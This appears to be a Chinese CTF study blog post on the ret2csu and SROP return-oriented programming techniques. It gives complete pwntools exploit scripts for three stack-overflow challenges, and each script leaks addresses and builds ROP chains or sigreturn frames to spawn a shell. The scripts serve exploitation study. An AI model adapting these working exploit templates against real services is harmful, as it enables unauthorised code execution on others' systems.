ret2csu和SROP学习
前言
昨天本来是要找一道简单栈溢出学习patch方法,然而发现题目没想的那么简单;于是转而学习一些比较高级的ROP利用方式,本次讲到的两种手法都是在程序已有的gadget不够用的时候采取的应对措施。
ret2csu就是利用__libc_csu_init()里边(这函数大部分程序都会有)的gadget给寄存器赋值,显然得不开PIE。
SROP就是利用sigreturn系统调用的时候会把栈上的frame(这里用栈溢出构造fake_frame)给弹到寄存器里,来给寄存器赋值。
ret2csu例题
附件下载 提取码:2csu
题目信息
没PIE没canary,got表可写(没用)
漏洞很清楚就是一个栈溢出;
问题在于泄露地址的gadget不够,没有pop rdx;ret;
漏洞利用
- 用ret2csu调用write函数泄露真实地址
- 常规ROP调用system("/bin/sh")来getshell
PS:这里看到大部分师傅都用两次ret2csu来做,怎么说呢,感觉可以但没必要(可能是为了加深理解罢)
EXP
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(cmd=""):
gdb.attach(p,cmd)
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
def ret2csu(gadget1,gadget2,rbx,rbp,r12,r13,r14,r15,last):
# gadget1: add rsp,0x8......
# gadget2: mov rdx,r15......
# last: last ret function, like main_addr
# rbx = 0
# rbp = 1
# r12 = function_got
# r13 = edi = 0
# r14 = rsi = second paragram
# r15 = rdx = thrid paragram
payload = p64(gadget1)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(gadget2)+'A'*0x38+p64(last)
return payload
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './level5'
context.binary = binary
elf = ELF(binary,checksec=False)
def pwn(argv):
global p
global libc
if(len(argv)==1):
p = process(binary)
libc = elf.libc
else:
ip, port = "1.2.3.4:5678".split(":")
p = remote(ip, port)
libc = ELF("./libc-2.27.so")
# system("/bin/sh")
pop_rdi_ret = 0x4005f3
gadget1 = 0x4005e6
gadget2 = 0x4005d0
write_got = elf.got['write']
main_addr = 0x400558
payload = 'A'*0x88+ret2csu(gadget1,gadget2,0,1,write_got,1,write_got,8,pop_rdi_ret)+p64(1)+p64(main_addr)
sl(payload)
ru('\n')
write_addr = uu64(r(6))
leak('write_addr',write_addr)
sys_addr,binsh = ret2libc(write_addr,'write','/lib/x86_64-linux-gnu/libc.so.6')
leak('system',sys_addr)
leak('binsh',binsh)
payload = 'A'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)
sl(payload)
itr()
if __name__ == "__main__":
pwn(sys.argv)
SROP例题
附件下载 提取码:srop
题目信息
只开了栈不可执行。
整个程序只有一小段汇编代码,看一下是调用的read函数,从键盘获取输入0x400字节,存到rsp上;注意到这个start函数没有push rbp,rsp上存的就是它的返回地址。
漏洞利用
- 泄露出stack的地址;
- 利用SROP让rsp指向泄露的stack的地址;
- 利用start向stack中写入"/bin/sh"并计算它的栈地址;
- 利用SROP调用execve系统调用。
EXP
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(cmd=""):
gdb.attach(p,cmd)
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
def ret2csu(gadget1,gadget2,rbx,rbp,r12,r13,r14,r15,last):
# gadget1: add rsp,0x8......
# gadget2: mov rdx,r15......
# last: last ret function, like main_addr
# rbx = 0
# rbp = 1
# r12 = function_got
# r13 = 0
# r14 = rsi = second paragram
# r15 = rdx = thrid paragram
payload = p64(gadget1)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(gadget2)+'A'*0x38+p64(last)
return payload
# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
binary = './smallest'
context.binary = binary
elf = ELF(binary,checksec=False)
def pwn(argv):
global p
global libc
if(len(argv)==1):
p = process(binary)
libc = elf.libc
else:
ip, port = "1.2.3.4:5678".split(":")
p = remote(ip, port)
libc = ELF("./libc-2.27.so")
# get some static arg
sys_ret = 0x4000be
start = 0x4000b0
# leak stack_addr
s(p64(start)*3)
s('\xb3')
r(8)
stack_addr = uu64(r(6))
leak('stack',stack_addr)
# make rsp point to stack_addr
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = sys_ret
payload = p64(start)+p64(sys_ret)+str(read)
s(payload)
payload = payload[8:8+15]
s(payload)
# execve to get shell
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr + 0x110
execve.rsi = 0
execve.rdx = 0
execve.rsp = stack_addr
execve.rip = sys_ret
payload = p64(start)+p64(sys_ret)+str(execve)
print(hex(len(payload)))
payload = payload + (0x110-len(payload))*'\x00'+'/bin/sh\x00'
s(payload)
payload = payload[8:8+15]
s(payload)
# dbg()
itr()
if __name__ == "__main__":
pwn(sys.argv)
PS:后面SROP的payload会发现前面都带一个p64(start),这个是用来设置RAX的值为0xF来调用sigreturn用的;再次输入的时候注意和原来的payload对应。
图解
只写了怎么泄露的栈地址,画不下了,后面同理。
ciscn_2019_s_3
附件下载 提取码:sket
题目信息
没canary没PIE
同样少了gadget来直接ROP
这里可以采用两种解法,一种是ret2csu,另一种是SROP(个人倾向SROP,比较直接)
EXP1 ret2csu
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)
def dbg(cmd=""):
gdb.attach(p,cmd)
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
def pwn(argv):
global p
global libc
if(len(argv)==1):
p = process(binary)
libc = elf.libc
else:
ip, port = "node3.buuoj.cn:29964".split(":")
p = remote(ip, port)
# libc = ELF("./libc-2.27.so")
# execve('/bin/sh',0,0)
# rax = 59
# rdi = binsh
# rsi = rdx = 0
# syscall
mov_rax_59_ret = 0x4004e2
pop_rdi_ret = 0x4005a3
syscall_ret = 0x400517
main_addr = 0x40051D
gadget1 = 0x400580
# 400580: 4c 89 ea mov rdx,r13
# 400583: 4c 89 f6 mov rsi,r14
# 400586: 44 89 ff mov edi,r15d
# 400589: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
# 40058d: 48 83 c3 01 add rbx,0x1
# 400591: 48 39 eb cmp rbx,rbp
# 400594: 75 ea jne 400580 <__libc_csu_init+0x40>
# 400596: 48 83 c4 08 add rsp,0x8
gadget2 = 0x40059a
# 40059a: 5b pop rbx
# 40059b: 5d pop rbp
# 40059c: 41 5c pop r12
# 40059e: 41 5d pop r13
# 4005a0: 41 5e pop r14
# 4005a2: 41 5f pop r15
# 4005a4: c3 ret
payload1 = 'A'*0x10+p64(main_addr)
sl(payload1)
r(0x20)
stack_addr = uu64(r(0x6))
leak('stack',stack_addr)
binsh = stack_addr - 0x138
mov_rax_59_ret_addr = binsh + 0x10
leak('mov_rax_59_ret_addr',mov_rax_59_ret_addr)
gadget1_addr = binsh+0x50
payload2 = '/bin/sh\x00'*2+p64(mov_rax_59_ret)+p64(gadget2)
payload2 += p64(0)+p64(1)+p64(mov_rax_59_ret_addr)+p64(0)+p64(0)+p64(0)
payload2 += p64(gadget1)
payload2 += 'A'*0x38+p64(pop_rdi_ret)+p64(binsh)+p64(syscall_ret)
# dbg()
sl(payload2)
sleep(1)
# sl('cat /flag')
# ru('f')
# flag = 'f'+ru('\n',drop=True)
# print(flag)
itr()
if __name__ == "__main__":
pwn(sys.argv)
EXP2 SROP
from pwn import *
io=process('./pwn')
context.binary='./pwn'
main=0x00040051d
mov_rax_15=0x4004DA
sys=0x400517
pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-0x138
print(hex(sh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys
pl1='A'*16+p64(mov_rax_15)+p64(sys)+str(frame)
pl2='/bin/sh\x00'*2+p64(mov_rax_15)+p64(sys)+str(frame)
io.send(pl2)
io.interactive()
小结
当gadgets不够的时候,可以利用ret2csu和SROP执行系统调用。